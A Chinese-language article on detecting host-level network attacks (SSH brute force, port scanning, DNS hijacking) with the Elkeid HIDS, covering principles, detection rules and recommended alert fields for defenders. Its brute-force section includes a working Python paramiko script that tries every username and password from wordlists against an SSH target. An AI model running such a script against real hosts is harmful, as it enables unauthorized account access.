目录
- 概述
- 暴力破解(SSH爆破为例)
- 原理
- 规则
- 攻击模拟
- 告警
- 端口扫描
- 原理
- 规则
- 攻击模拟
- 告警
- 流量劫持
- 原理
- 规则
- 攻击模拟
- 告警
- 参考
概述
本文介绍主机网络层面上的攻击场景,每种攻击场景举一个例子。监测方面以字节跳动的开源HIDS elkeid举例。
针对网络攻击,通常可以考虑从以下方面做规则
- 来源ip:针对异常ip,有访问即告警。
- 访问端口:针对高危端口,有访问即告警。
- 访问频率:针对过多的访问,在一段时间内超过频率即告警。例如,对同一端口或多个端口。
暴力破解(SSH爆破为例)
原理
暴力破解指的是针对开放的端口,提供的服务需要凭据才能访问,但是没有对用户行为做频率的限制,存在弱口令时可能爆破成功。
规则
bruteforce_single_source_detect
这个是针对单一源ip做的告警
bruteforce_multi_source_detect
bruteforce_success_detect
暴力破解,通过密码登录成功
攻击模拟
import paramiko
# 配置目标主机的IP地址和端口
TARGET_IP = '172.19.0.16' # 替换为目标IP
TARGET_PORT = 22 # 替换为目标端口
# 读取用户名和密码
def read_file(filename):
with open(filename, 'r') as file:
return [line.strip() for line in file]
# 尝试SSH登录
def attempt_ssh_login(username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(TARGET_IP, port=TARGET_PORT, username=username, password=password)
return True
except paramiko.AuthenticationException:
return False
except Exception as e:
print(f"Error connecting to {TARGET_IP}: {e}")
return False
finally:
ssh.close()
def main():
usernames = read_file('username.txt')
passwords = read_file('password.txt')
for username in usernames:
for password in passwords:
success = attempt_ssh_login(username, password)
if success:
print(f"Success: Username: {username}, Password: {password}")
else:
print(f"Failed: Username: {username}, Password: {password}")
if __name__ == "__main__":
main()
告警
给出了源ip,除了这个还可以考虑提供其他信息
- 尝试次数
- 失败次数
- 成功次数
- 成功用户
- 登录的时间
端口扫描
原理
对多个端口发起网络探测,确定端口存活、协议等指纹信息。
规则
这里elkeid没有给出,根据原理可以类似ssh爆破,对同一个ip来源扫描多个端口或对单个端口以不同协议高频率扫描。
攻击模拟
使用nmap或masscan等端口扫描工具即可。
告警
告警推荐包含以下字段:
- 源ip
- 源端口
- 扫描开始时间
流量劫持
原理
流量劫持是指在主机和第三方服务之间添加了恶意攻击者,常见DNS劫持、HTTP劫持、CDN劫持等。以DNS劫持为例,攻击者可能篡改了主机的DNS配置文件。
规则
编写规则时可以考虑检测配置文件,或者判断流量的特征。例如,DNS的配置文件为/etc/resolv.conf。DNS隧道攻击时,流量中会有大量的编码后的子域名请求特征。
攻击模拟
这个需要一个远程服务器,从github上也没看到fake dns server之类的,先留个坑。
告警
告警推荐包含以下字段:
- 本地文件
- 修改内容
- 恶意服务器域名或ip
参考
流量劫持
DNS隧道攻击原理及常用攻击分析